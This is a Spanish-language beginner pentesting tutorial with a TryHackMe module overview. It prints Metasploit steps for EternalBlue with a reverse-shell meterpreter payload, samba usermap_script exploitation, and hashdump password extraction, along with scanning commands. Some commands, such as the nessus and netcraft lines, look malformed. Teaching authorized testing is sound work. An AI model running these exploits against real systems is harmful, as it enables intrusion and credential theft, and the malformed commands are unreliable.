El pentesting básico es el proceso de identificar y explotar vulnerabilidades en sistemas informáticos para mejorar la seguridad de los mismos. Aquí te proporcionaré una guía paso a paso sobre cómo llevar a cabo un pentesting básico, desde la planificación y el reconocimiento hasta la explotación y el reporte.

**1. Planificación y Preparación**

Antes de comenzar cualquier pentesting, es crucial definir el alcance y obtener las autorizaciones necesarias. Esto asegura que todas las actividades sean legales y éticas.

**Definición del Alcance**

* **Objetivos:** Qué sistemas serán probados.
* **Métodos Permitidos:** Qué técnicas y herramientas se pueden usar.
* **Limitaciones:** Qué actividades están fuera de los límites (por ejemplo, no DoS).

**Autorizaciones**

* Obtener permisos escritos de los propietarios de los sistemas a probar.

**2. Reconocimiento y Recolección de Información**

El reconocimiento implica recolectar información sobre el objetivo. Esto puede dividirse en dos categorías: pasivo y activo.

**Reconocimiento Pasivo**

* **Búsqueda en Google:** Recolectar información pública sobre la empresa.
* **Whois:** Obtener información de registro de dominios.

sh

Copy code

whois example.com

**Reconocimiento Activo**

* **Nmap:** Escaneo de puertos y servicios.

sh

Copy code

nmap -sS -sV -O 192.168.1.0/24

* **Netcraft:** Obtener detalles del servidor web.

sh

Copy code

netcraft.com

**3. Escaneo de Vulnerabilidades**

El escaneo de vulnerabilidades implica identificar posibles puntos débiles en los sistemas objetivo.

**Herramientas de Escaneo**

* **Nessus:** Escaneo de vulnerabilidades.

sh

Copy code

nessus -q -p 8834 -t 192.168.1.0/24

* **OpenVAS:** Otra herramienta de escaneo de vulnerabilidades.

sh

Copy code

openvas-start

openvasmd --rebuild --progress

openvasmd --get-scanners

**4. Explotación**

La explotación consiste en aprovechar las vulnerabilidades encontradas para acceder a sistemas, obtener información o realizar acciones no autorizadas.

**Frameworks de Explotación**

* **Metasploit:** Un framework poderoso para explotación.

sh

Copy code

msfconsole

**Ejemplo de Explotación con Metasploit**

1. **Seleccionar un Exploit:**

sh

Copy code

use exploit/windows/smb/ms17\_010\_eternalblue

1. **Configurar Opciones:**

sh

Copy code

set RHOST 192.168.1.100

set PAYLOAD windows/x64/meterpreter/reverse\_tcp

set LHOST 192.168.1.10

set LPORT 4444

1. **Ejecutar el Exploit:**

sh

Copy code

exploit

**5. Post-Explotación**

Después de una explotación exitosa, es importante realizar actividades de post-explotación para comprender el impacto total y recolectar evidencia.

**Tareas Comunes de Post-Explotación**

* **Obtención de Información del Sistema:**

sh

Copy code

sysinfo

* **Listado de Procesos:**

sh

Copy code

ps

* **Extracción de Contraseñas:**

sh

Copy code

hashdump

**6. Reporte**

El reporte es una de las fases más importantes del pentesting, ya que documenta las vulnerabilidades encontradas y las acciones recomendadas.

**Elementos Clave del Reporte**

* **Resumen Ejecutivo:** Resumen de hallazgos y recomendaciones.
* **Detalles Técnicos:** Información detallada sobre cada vulnerabilidad encontrada.
* **Impacto:** Potencial impacto de las vulnerabilidades.
* **Recomendaciones:** Pasos para mitigar o solucionar las vulnerabilidades.

**Herramientas Comunes para Pentesting**

1. **Nmap:** Escaneo de puertos y servicios.
2. **Wireshark:** Análisis de tráfico de red.
3. **Burp Suite:** Pruebas de penetración de aplicaciones web.
4. **Metasploit:** Framework de explotación.
5. **Hydra:** Ataques de fuerza bruta.
6. **John the Ripper:** Cracking de contraseñas.

**Conclusión**

El pentesting básico implica una serie de pasos bien definidos para identificar y explotar vulnerabilidades en los sistemas objetivo. Es crucial seguir un enfoque metódico y ético, asegurándose de tener todas las autorizaciones necesarias antes de comenzar. Si tienes preguntas adicionales o necesitas más detalles sobre algún aspecto específico, no dudes en preguntar.

**TryHackMe: Módulos de Pentesting Básico**

**1. Introduction to Pentesting**

Este módulo cubre los conceptos básicos de pentesting y las herramientas comunes utilizadas. Incluye actividades prácticas para reforzar el aprendizaje.

**Temas Incluidos:**

* Conceptos básicos de pentesting.
* Herramientas de escaneo como Nmap.
* Enumeración y recolección de información.

**2. Nmap**

Un laboratorio dedicado al uso de Nmap para el escaneo de redes y servicios.

**Ejercicios:**

* Escaneo de puertos.
* Detección de versiones.
* Identificación de sistemas operativos.

**3. Metasploit**

Este módulo introduce el uso de Metasploit para la explotación de vulnerabilidades.

**Ejercicios:**

* Uso básico de Metasploit.
* Explotación de vulnerabilidades comunes.
* Post-explotación y obtención de información.

**4. Web Application Security**

En este módulo, aprenderás a identificar y explotar vulnerabilidades en aplicaciones web.

**Temas Incluidos:**

* Cross-Site Scripting (XSS).
* Inyección SQL.
* Ataques de fuerza bruta.

**5. Privilege Escalation**

Aprenderás técnicas para escalar privilegios en sistemas comprometidos.

**Ejercicios:**

* Identificación de vulnerabilidades de escalación de privilegios.
* Uso de exploits locales.
* Técnicas de pos-explotación.

**Ejemplo de Módulo: "Basic Pentesting"**

Uno de los módulos populares en TryHackMe es "Basic Pentesting". Aquí tienes una descripción de lo que puedes esperar:

**Objetivos del Módulo:**

* Realizar un reconocimiento básico del sistema objetivo.
* Identificar y explotar vulnerabilidades comunes.
* Realizar tareas de post-explotación.

**Paso a Paso del Módulo:**

1. **Reconocimiento**
   * Utiliza herramientas como Nmap para escanear los puertos abiertos y los servicios en ejecución.

sh

Copy code

nmap -sC -sV <IP-objetivo>

1. **Enumeración**
   * Utiliza herramientas y técnicas para obtener más información sobre los servicios identificados.

sh

Copy code

enum4linux <IP-objetivo>

1. **Explotación**
   * Usa Metasploit o exploits manuales para comprometer los servicios vulnerables.

sh

Copy code

msfconsole

use exploit/multi/samba/usermap\_script

set RHOST <IP-objetivo>

run

1. **Post-Explotación**
   * Realiza tareas como la extracción de información del sistema comprometido.

sh

Copy code

meterpreter > sysinfo

meterpreter > hashdump

**Cómo Utilizar TryHackMe**

1. **Registro**
   * Crea una cuenta en [TryHackMe](https://tryhackme.com/).
2. **Seleccionar Módulo**
   * Navega por la biblioteca de módulos y selecciona el que desees realizar.
3. **Iniciar el Laboratorio**
   * Cada módulo proporcionará una máquina virtual o entorno de laboratorio para practicar.
4. **Seguir las Instrucciones**
   * Sigue las instrucciones y los retos proporcionados en el módulo para completar las tareas.
5. **Completar los Retos**
   * Responde a las preguntas y completa los ejercicios prácticos para avanzar en el módulo.

**Conclusión**

Los módulos de TryHackMe proporcionan una excelente manera de aprender y practicar habilidades de pentesting en un entorno controlado y seguro. Si estás interesado en mejorar tus habilidades de pentesting, TryHackMe es una plataforma altamente recomendada. Si tienes más preguntas o necesitas asistencia adicional con algún módulo específico, estaré encantado de ayudarte.